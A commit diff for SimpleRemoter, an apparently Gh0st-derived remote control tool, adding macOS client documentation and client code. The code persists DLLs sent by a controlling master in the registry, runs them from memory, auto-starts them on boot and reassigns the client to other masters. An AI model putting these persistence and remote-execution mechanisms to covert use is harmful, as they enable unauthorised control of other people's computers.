Compare commits
15 Commits
011ec3d509
...
v1.3.2
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
36ba9ccc1d | ||
|
|
ed4b9eeb25 | ||
|
|
cfa9b581fc | ||
|
|
979f309497 | ||
|
|
9b1cb1ced9 | ||
|
|
f2a184e760 | ||
|
|
7a90d217f3 | ||
|
|
1cc66aff56 | ||
|
|
b98607d24d | ||
|
|
fa9ee977b5 | ||
|
|
acccc039b6 | ||
|
|
c38ccbe7ca | ||
|
|
655b1934a4 | ||
|
|
ac14073921 | ||
|
|
a649c10d0f |
55
ReadMe.md
55
ReadMe.md
@@ -12,7 +12,7 @@
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
|
||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||
@@ -56,7 +56,7 @@
|
||||
|
||||
## 项目简介
|
||||
|
||||
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux** 双平台的企业级远程管理工具。
|
||||
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux + macOS** 三平台的企业级远程管理工具。
|
||||
|
||||
### 核心能力
|
||||
|
||||
@@ -354,6 +354,7 @@ struct FileChunkPacketV2 {
|
||||
| `TestRun.exe` + `ServerDll.dll` | 分离加载,支持内存加载 DLL |
|
||||
| Windows 服务 | 后台运行,支持锁屏控制 |
|
||||
| Linux 客户端 | 跨平台支持(v1.2.5+) |
|
||||
| macOS 客户端 | 跨平台支持(v1.3.2+) |
|
||||
|
||||
---
|
||||
|
||||
@@ -489,10 +490,60 @@ cmake .
|
||||
make
|
||||
```
|
||||
|
||||
### macOS 客户端(v1.3.2+)
|
||||
|
||||
**系统要求**:
|
||||
- macOS 10.15 (Catalina) 及以上
|
||||
- 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问
|
||||
|
||||
**功能支持**:
|
||||
|
||||
| 功能 | 状态 | 实现 |
|
||||
|------|------|------|
|
||||
| 远程桌面 | ✅ | CoreGraphics 屏幕捕获,H.264 硬件编码 |
|
||||
| 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 |
|
||||
| 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 |
|
||||
| 光标同步 | ✅ | 实时同步远程光标样式 |
|
||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
||||
| 文件管理 | ⏳ | 开发中 |
|
||||
| 远程终端 | ⏳ | 开发中 |
|
||||
|
||||
**编译方式**:
|
||||
|
||||
```bash
|
||||
cd macos
|
||||
mkdir build && cd build
|
||||
cmake ..
|
||||
make
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 更新日志
|
||||
|
||||
### v1.3.2 (2026.5.1)
|
||||
|
||||
**macOS 客户端 & Web 远程桌面增强**
|
||||
|
||||
**新功能:**
|
||||
- macOS 客户端支持:全新实现的 macOS 原生客户端,支持屏幕捕获、H.264 编码、键鼠控制、系统权限管理
|
||||
- Web 远程桌面光标同步:浏览器端实时显示远程主机光标样式
|
||||
- 触发器功能:支持主机上线事件触发自定义操作
|
||||
- 用户管理功能:新增角色权限管理,支持多用户分级控制
|
||||
- DLL 执行增强:参数持久化存储、支持自动运行配置
|
||||
- 远程桌面输入法切换:支持远程切换被控端输入语言
|
||||
|
||||
**改进:**
|
||||
- Web 远程桌面手势优化:改进双指手势识别、双击拖拽、Shift 组合键支持
|
||||
|
||||
**Bug 修复:**
|
||||
- 修复 Web 远程桌面在 macOS 客户端上双击无法打开文件的问题
|
||||
- 修复 macOS 完全磁盘访问权限检测不准确的问题
|
||||
- 修复 RestoreMemDLL 因 DLL 信息大小错误导致还原失败
|
||||
- 修复多个 DLL 同时执行可能因全局变量冲突而失败
|
||||
- 修复鼠标双击和远程桌面切换问题
|
||||
- 修复 Linux 客户端编译缺少 libzstd.a 的问题
|
||||
|
||||
### v1.3.1 (2026.4.15)
|
||||
|
||||
**Web 远程桌面 & 多主控共享增强**
|
||||
|
||||
55
ReadMe_EN.md
55
ReadMe_EN.md
@@ -12,7 +12,7 @@
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
|
||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||
@@ -55,7 +55,7 @@
|
||||
|
||||
## Overview
|
||||
|
||||
**SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting both **Windows and Linux** platforms.
|
||||
**SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting **Windows, Linux, and macOS** platforms.
|
||||
|
||||
### Core Capabilities
|
||||
|
||||
@@ -354,6 +354,7 @@ The master program **YAMA.exe** provides a graphical management interface:
|
||||
| `TestRun.exe` + `ServerDll.dll` | Separate loading, supports in-memory DLL loading |
|
||||
| Windows Service | Background operation, supports lock screen control |
|
||||
| Linux Client | Cross-platform support (v1.2.5+) |
|
||||
| macOS Client | Cross-platform support (v1.3.2+) |
|
||||
|
||||
---
|
||||
|
||||
@@ -474,10 +475,60 @@ cmake .
|
||||
make
|
||||
```
|
||||
|
||||
### macOS Client (v1.3.2+)
|
||||
|
||||
**System Requirements**:
|
||||
- macOS 10.15 (Catalina) or later
|
||||
- Required permissions: Screen Recording, Accessibility, Full Disk Access
|
||||
|
||||
**Feature Support**:
|
||||
|
||||
| Feature | Status | Implementation |
|
||||
|---------|--------|----------------|
|
||||
| Remote Desktop | ✅ | CoreGraphics screen capture, H.264 hardware encoding |
|
||||
| Mouse Control | ✅ | CGEvent simulation, supports double-click, drag |
|
||||
| Keyboard Control | ✅ | CGEvent simulation, full keycode mapping |
|
||||
| Cursor Sync | ✅ | Real-time remote cursor style synchronization |
|
||||
| Heartbeat/RTT | ✅ | RFC 6298 RTT estimation |
|
||||
| File Management | ⏳ | In development |
|
||||
| Remote Terminal | ⏳ | In development |
|
||||
|
||||
**Build Instructions**:
|
||||
|
||||
```bash
|
||||
cd macos
|
||||
mkdir build && cd build
|
||||
cmake ..
|
||||
make
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Changelog
|
||||
|
||||
### v1.3.2 (2026.5.1)
|
||||
|
||||
**macOS Client & Web Remote Desktop Enhancement**
|
||||
|
||||
**New Features:**
|
||||
- macOS client support: Native macOS client with screen capture, H.264 encoding, keyboard/mouse control, system permission management
|
||||
- Web remote desktop cursor sync: Real-time display of remote host cursor style in browser
|
||||
- Trigger functionality: Support custom actions triggered by host online events
|
||||
- User management: Role-based permission management, multi-user hierarchical control
|
||||
- DLL execution enhancements: Parameter persistence, auto-run configuration support
|
||||
- Remote desktop input language switching: Support switching remote host input language
|
||||
|
||||
**Improvements:**
|
||||
- Web remote desktop gesture optimization: Improved two-finger gesture recognition, double-tap drag, Shift key combination support
|
||||
|
||||
**Bug Fixes:**
|
||||
- Fixed Web remote desktop double-click not working for macOS clients
|
||||
- Fixed macOS Full Disk Access permission detection inaccuracy
|
||||
- Fixed RestoreMemDLL failure due to incorrect DLL info size
|
||||
- Fixed multiple DLLs execution failure due to global variable conflict
|
||||
- Fixed mouse double-click and remote desktop switching issues
|
||||
- Fixed Linux client build missing libzstd.a
|
||||
|
||||
### v1.3.1 (2026.4.15)
|
||||
|
||||
**Web Remote Desktop & Multi-Master Sharing Enhancement**
|
||||
|
||||
55
ReadMe_TW.md
55
ReadMe_TW.md
@@ -12,7 +12,7 @@
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
|
||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||
@@ -55,7 +55,7 @@
|
||||
|
||||
## 專案簡介
|
||||
|
||||
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux** 雙平台的企業級遠端管理工具。
|
||||
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux + macOS** 三平台的企業級遠端管理工具。
|
||||
|
||||
### 核心能力
|
||||
|
||||
@@ -353,6 +353,7 @@ struct FileChunkPacketV2 {
|
||||
| `TestRun.exe` + `ServerDll.dll` | 分離載入,支援記憶體載入 DLL |
|
||||
| Windows 服務 | 背景執行,支援鎖定畫面控制 |
|
||||
| Linux 用戶端 | 跨平台支援(v1.2.5+) |
|
||||
| macOS 用戶端 | 跨平台支援(v1.3.2+) |
|
||||
|
||||
---
|
||||
|
||||
@@ -473,10 +474,60 @@ cmake .
|
||||
make
|
||||
```
|
||||
|
||||
### macOS 用戶端(v1.3.2+)
|
||||
|
||||
**系統要求**:
|
||||
- macOS 10.15 (Catalina) 及以上
|
||||
- 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取
|
||||
|
||||
**功能支援**:
|
||||
|
||||
| 功能 | 狀態 | 實作 |
|
||||
|------|------|------|
|
||||
| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取,H.264 硬體編碼 |
|
||||
| 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 |
|
||||
| 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 |
|
||||
| 游標同步 | ✅ | 即時同步遠端游標樣式 |
|
||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
||||
| 檔案管理 | ⏳ | 開發中 |
|
||||
| 遠端終端 | ⏳ | 開發中 |
|
||||
|
||||
**編譯方式**:
|
||||
|
||||
```bash
|
||||
cd macos
|
||||
mkdir build && cd build
|
||||
cmake ..
|
||||
make
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 更新日誌
|
||||
|
||||
### v1.3.2 (2026.5.1)
|
||||
|
||||
**macOS 用戶端 & Web 遠端桌面增強**
|
||||
|
||||
**新功能:**
|
||||
- macOS 用戶端支援:全新實現的 macOS 原生用戶端,支援螢幕擷取、H.264 編碼、鍵鼠控制、系統權限管理
|
||||
- Web 遠端桌面游標同步:瀏覽器端即時顯示遠端主機游標樣式
|
||||
- 觸發器功能:支援主機上線事件觸發自訂操作
|
||||
- 使用者管理功能:新增角色權限管理,支援多使用者分級控制
|
||||
- DLL 執行增強:參數持久化儲存、支援自動執行設定
|
||||
- 遠端桌面輸入法切換:支援遠端切換被控端輸入語言
|
||||
|
||||
**改進:**
|
||||
- Web 遠端桌面手勢最佳化:改進雙指手勢識別、雙擊拖曳、Shift 組合鍵支援
|
||||
|
||||
**Bug 修復:**
|
||||
- 修復 Web 遠端桌面在 macOS 用戶端上雙擊無法開啟檔案的問題
|
||||
- 修復 macOS 完全磁碟存取權限偵測不準確的問題
|
||||
- 修復 RestoreMemDLL 因 DLL 資訊大小錯誤導致還原失敗
|
||||
- 修復多個 DLL 同時執行可能因全域變數衝突而失敗
|
||||
- 修復滑鼠雙擊和遠端桌面切換問題
|
||||
- 修復 Linux 用戶端編譯缺少 libzstd.a 的問題
|
||||
|
||||
### v1.3.1 (2026.4.15)
|
||||
|
||||
**Web 遠端桌面 & 多主控共享增強**
|
||||
|
||||
@@ -61,6 +61,10 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#ifdef __APPLE__
|
||||
// macOS: 只有 TCP_KEEPALIVE (等同于 TCP_KEEPIDLE)
|
||||
setsockopt(socket, IPPROTO_TCP, TCP_KEEPALIVE, &nKeepAliveSec, sizeof(nKeepAliveSec));
|
||||
#else
|
||||
// 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包)
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPIDLE\n");
|
||||
@@ -80,6 +84,7 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
|
||||
Mprintf("Failed to set TCP_KEEPCNT\n");
|
||||
return FALSE;
|
||||
}
|
||||
#endif
|
||||
|
||||
Mprintf("TCP keep-alive settings applied successfully\n");
|
||||
return TRUE;
|
||||
|
||||
@@ -21,6 +21,7 @@
|
||||
#include "common/file_upload.h"
|
||||
#include "common/DateVerify.h"
|
||||
#include "common/LANChecker.h"
|
||||
#include "common/scheduler.h"
|
||||
extern "C" {
|
||||
#include "ServiceWrapper.h"
|
||||
}
|
||||
@@ -65,6 +66,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
|
||||
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
|
||||
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s)
|
||||
{
|
||||
m_cfg = new iniFile(CLIENT_PATH);
|
||||
m_ulThreadCount = 0;
|
||||
#ifdef _DEBUG
|
||||
m_settings = { 5 };
|
||||
@@ -75,6 +77,11 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
|
||||
m_hKeyboard = kb;
|
||||
// C2C 初始化
|
||||
if (conn) m_MyClientID = conn->clientID;
|
||||
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
|
||||
static int n = RestoreMemDLL();
|
||||
if (n) {
|
||||
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL IsThreadsRunning(ThreadInfo* threads, int count)
|
||||
@@ -90,6 +97,7 @@ BOOL IsThreadsRunning(ThreadInfo* threads, int count)
|
||||
CKernelManager::~CKernelManager()
|
||||
{
|
||||
Mprintf("~CKernelManager begin\n");
|
||||
SAFE_DELETE(m_cfg);
|
||||
HANDLE hList[MAX_THREADNUM] = {};
|
||||
for (int i=0; i<MAX_THREADNUM; ++i) {
|
||||
if (m_hThread[i].h!=0) {
|
||||
@@ -233,7 +241,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
DllExecParam<>* dll = (DllExecParam<>*)param;
|
||||
DllExecuteInfo info = *(dll->info);
|
||||
PluginParam pThread = dll->param;
|
||||
CManager* This = dll->manager;
|
||||
CKernelManager* This = (CKernelManager*)dll->manager;
|
||||
#if _DEBUG
|
||||
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
|
||||
DllRunner* runner = new DefaultDllRunner(info.Name);
|
||||
@@ -262,10 +270,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL;
|
||||
char* user = (char*)dll->param.User;
|
||||
FrpcParam* f = (FrpcParam*)user;
|
||||
if (proc) {
|
||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
int r = 0;
|
||||
if (proc) {
|
||||
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
}
|
||||
else {
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
@@ -273,7 +286,6 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
ClientMsg msg("代理端口", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
}
|
||||
}
|
||||
SAFE_DELETE_ARRAY(user);
|
||||
break;
|
||||
}
|
||||
@@ -281,10 +293,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL;
|
||||
char* user = (char*)dll->param.User;
|
||||
FrpcParam* f = (FrpcParam*)user;
|
||||
if (proc) {
|
||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||
int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
int r = 0;
|
||||
if (proc) {
|
||||
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
}
|
||||
else {
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
@@ -292,7 +309,6 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
ClientMsg msg("代理端口", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
}
|
||||
}
|
||||
SAFE_DELETE_ARRAY(user);
|
||||
break;
|
||||
}
|
||||
@@ -623,24 +639,106 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
|
||||
return "";
|
||||
}
|
||||
|
||||
int CKernelManager::RestoreMemDLL() {
|
||||
binFile bin(CLIENT_PATH);
|
||||
|
||||
// 枚举所有以 .md5 结尾的值名称
|
||||
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
|
||||
int count = 0;
|
||||
|
||||
for (const auto& key : md5Keys) {
|
||||
// 获取 MD5 值
|
||||
std::string md5 = m_cfg->GetStr("settings", key);
|
||||
if (md5.empty())
|
||||
continue;
|
||||
|
||||
// 从 "xxx.md5" 提取 "xxx"
|
||||
std::string name = key.substr(0, key.size() - 4);
|
||||
|
||||
// 获取对应的二进制数据
|
||||
std::string binData = bin.GetStr("settings", name + ".bin");
|
||||
if (binData.empty())
|
||||
continue;
|
||||
|
||||
// 解析 DllExecuteInfo,提取 DLL 数据
|
||||
const int sz = 1 + sizeof(DllExecuteInfo);
|
||||
if (binData.size() < sz)
|
||||
continue;
|
||||
|
||||
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1);
|
||||
if (binData.size() < 1 + info->InfoSize + info->Size)
|
||||
continue;
|
||||
|
||||
// 恢复到 m_MemDLL
|
||||
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + 1 + info->InfoSize);
|
||||
m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size);
|
||||
Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str());
|
||||
count++;
|
||||
|
||||
// 检查是否为启动执行模式
|
||||
if (info->Schedule.Mode == SCH_MODE_STARTUP) {
|
||||
// 复制一份用于检查和执行
|
||||
DllExecuteInfo infoCopy = *info;
|
||||
ScheduleParams& sch = infoCopy.Schedule;
|
||||
|
||||
// 从注册表读取运行时状态(LastRunTime 和 CurrentCount)
|
||||
std::string lastRunStr = m_cfg->GetStr("settings", name + ".lastrun");
|
||||
std::string countStr = m_cfg->GetStr("settings", name + ".count");
|
||||
if (!lastRunStr.empty()) {
|
||||
sch.LastRunTime = std::stoull(lastRunStr);
|
||||
}
|
||||
if (!countStr.empty()) {
|
||||
sch.CurrentCount = (unsigned char)std::stoi(countStr);
|
||||
}
|
||||
|
||||
// 检查是否应该执行
|
||||
if (YamaTaskEngine::ShouldExecute(&sch)) {
|
||||
Mprintf("Auto-start DLL on startup: %s\n", name.c_str());
|
||||
char* buf = info->InfoSize > sizeof(DllExecuteInfo) ? new char[400] : 0;
|
||||
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
|
||||
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
|
||||
BYTE* data = m_MemDLL[md5].data();
|
||||
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
|
||||
|
||||
// 更新注册表中的运行时状态
|
||||
// 如果有时间间隔限制,更新 LastRunTime
|
||||
if (sch.Config.Startup.Interval > 0) {
|
||||
YamaTaskEngine::MarkExecuted(&sch);
|
||||
m_cfg->SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
|
||||
}
|
||||
// 如果有次数限制,更新 CurrentCount
|
||||
if (sch.MaxCount > 0) {
|
||||
if (sch.Config.Startup.Interval == 0) {
|
||||
// 如果没更新过 LastRunTime,需要单独增加计数
|
||||
sch.CurrentCount++;
|
||||
}
|
||||
m_cfg->SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return count;
|
||||
}
|
||||
|
||||
template<typename T = DllExecuteInfo>
|
||||
BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
{
|
||||
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||
std::map<std::string, std::vector<BYTE>> &m_MemDLL(This->m_MemDLL);
|
||||
const int sz = 1 + sizeof(T);
|
||||
if (ulLength < sz) return FALSE;
|
||||
const T* info = (T*)(szBuffer + 1);
|
||||
const char* md5 = info->Md5;
|
||||
auto find = m_MemDLL.find(md5);
|
||||
if (find == m_MemDLL.end() && ulLength == sz) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
|
||||
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
|
||||
config *cfg = This->m_cfg;
|
||||
auto s = cfg->GetStr("settings", info->Name + std::string(".md5"));
|
||||
if ((find == m_MemDLL.end() || s.empty()) && ulLength == sz) {
|
||||
if (s.empty() || s != info->Md5 || !This->m_conn->IsVerified()) {
|
||||
// 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码
|
||||
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||
return TRUE;
|
||||
}
|
||||
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
|
||||
Mprintf("Execute local DLL from registry: %s\n", md5);
|
||||
binFile bin(CLIENT_PATH);
|
||||
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
|
||||
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
|
||||
@@ -649,10 +747,10 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
}
|
||||
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
|
||||
if (info->Size == ulLength - sz) {
|
||||
// 收到完整 DLL 数据,保存到注册表
|
||||
if (md5[0]) {
|
||||
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
|
||||
cfg->SetStr("settings", info->Name + std::string(".md5"), md5);
|
||||
binFile bin(CLIENT_PATH);
|
||||
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
|
||||
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
|
||||
@@ -660,7 +758,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
}
|
||||
data = szBuffer + sz;
|
||||
}
|
||||
if (data) {
|
||||
else if (data) {
|
||||
// 只收到参数(无 DLL 数据),更新 .bin 中的参数部分
|
||||
binFile bin(CLIENT_PATH);
|
||||
std::string binData = bin.GetStr("settings", info->Name + std::string(".bin"));
|
||||
if (binData.size() >= sz) {
|
||||
// 替换 .bin 中的参数部分(跳过命令字节)
|
||||
memcpy(&binData[1], szBuffer + 1, sizeof(T));
|
||||
bin.SetStr("settings", info->Name + std::string(".bin"), binData);
|
||||
Mprintf("Update DLL params [%d bytes] in registry: %s\n", sizeof(T), info->Name);
|
||||
}
|
||||
}
|
||||
if (data && SCH_MODE_NONE == info->Schedule.Mode) {
|
||||
PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
|
||||
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
|
||||
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
|
||||
@@ -682,8 +791,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
switch (szBuffer[0]) {
|
||||
case CMD_SET_GROUP: {
|
||||
std::string group = std::string((char*)szBuffer + 1);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "group_name", group);
|
||||
m_cfg->SetStr("settings", "group_name", group);
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -854,22 +962,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_SHARE:
|
||||
case COMMAND_ASSIGN_MASTER:
|
||||
if (ulLength > 2) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
switch (szBuffer[1]) {
|
||||
case SHARE_TYPE_YAMA_FOREVER: {
|
||||
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
break;
|
||||
auto now = time(nullptr);
|
||||
auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str());
|
||||
auto valid_to = atoi(m_cfg->GetStr("settings", "valid_to").c_str());
|
||||
if (now <= valid_to) break; // Avoid assign again
|
||||
cfg.SetStr("settings", "master", v[0]);
|
||||
cfg.SetStr("settings", "port", v[1]);
|
||||
m_cfg->SetStr("settings", "master", v[0]);
|
||||
m_cfg->SetStr("settings", "port", v[1]);
|
||||
float days = atof(v[2].c_str());
|
||||
if (days > 0) {
|
||||
auto valid_to = time(0) + days*86400;
|
||||
// overflow after 2038-01-19
|
||||
cfg.SetStr("settings", "valid_to", std::to_string(valid_to));
|
||||
m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to));
|
||||
}
|
||||
}
|
||||
case SHARE_TYPE_YAMA: {
|
||||
@@ -883,11 +990,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (v[0].empty() || v[1].empty())
|
||||
break;
|
||||
auto share = v[0] + ":" + v[1];
|
||||
auto list = cfg.GetStr("settings", "share_list");
|
||||
auto list = m_cfg->GetStr("settings", "share_list");
|
||||
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
|
||||
if (VectorContains(shareList, share)) break;
|
||||
shareList.push_back(share);
|
||||
cfg.SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
||||
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
||||
Mprintf("Share client to new master: %s\n", share.c_str());
|
||||
}
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||||
@@ -902,8 +1009,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
case COMMAND_SHARE_CANCEL: {
|
||||
if (m_ClientApp->IsMainInstance()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "share_list", "");
|
||||
m_cfg->SetStr("settings", "share_list", "");
|
||||
}
|
||||
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
|
||||
"Cancel sharing and next run to take effort" : "No permission to cancel sharing");
|
||||
@@ -926,8 +1032,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
